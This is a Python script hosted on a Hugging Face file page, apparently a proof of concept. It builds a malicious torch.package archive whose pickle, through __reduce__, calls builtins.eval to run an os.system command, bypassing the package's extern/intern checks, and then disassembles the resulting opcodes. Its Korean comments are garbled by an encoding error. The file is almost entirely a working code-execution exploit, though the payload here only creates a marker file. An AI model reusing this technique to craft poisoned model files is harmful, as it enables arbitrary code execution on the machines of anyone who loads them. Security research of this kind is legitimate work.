mscgo77's picture
Upload build_payload.py with huggingface_hub
446410f verified
Raw
History Blame Contribute Delete
1.22 kB
import io, torch.package, os
MARKER = "/tmp/torch_package_builtins_bypass_pwned"
if os.path.exists(MARKER):
os.remove(MARKER)
# ๊ณต๊ฒฉ์ž๋Š” pickle์— builtins.eval์„ ์ง์ ‘ ์ฐธ์กฐ -- extern() ์„ ์–ธ๋„, intern() ์„ ์–ธ๋„ ํ•„์š”์—†์Œ
import pickletools, pickle
class Exploit:
def __reduce__(self):
# builtins.eval("...") ํ˜ธ์ถœ
return (eval, (f"__import__('os').system('touch {MARKER}')",))
buf = io.BytesIO()
with torch.package.PackageExporter(buf) as pe:
# ๊ณต๊ฒฉ์ž๋Š” extern์ด๋“  intern์ด๋“  ์•„๋ฌด๊ฒƒ๋„ ์„ ์–ธํ•˜์ง€ ์•Š์Œ -- eval์€ builtins ์†Œ์†์ด๋ผ ์ž๋™ ํ—ˆ์šฉ๋จ
pe.save_pickle("archive", "data.pkl", Exploit())
data = buf.getvalue()
with open("malicious_builtins.pt", "wb") as f:
f.write(data)
print(f"[+] malicious_builtins.pt written, {len(data)} bytes")
print()
print("=== pickle opcode ํ™•์ธ (extern/intern ์—†์ด GLOBAL 'builtins eval' ์ง์ ‘ ์ฐธ์กฐ๋˜๋Š”์ง€) ===")
with open("malicious_builtins.pt", "rb") as f:
import zipfile
with zipfile.ZipFile(f) as z:
names = z.namelist()
print("์•„์นด์ด๋ธŒ ๋‚ด์šฉ:", names)
pkl_data = z.read([n for n in names if n.endswith("data.pkl")][0])
pickletools.dis(pkl_data)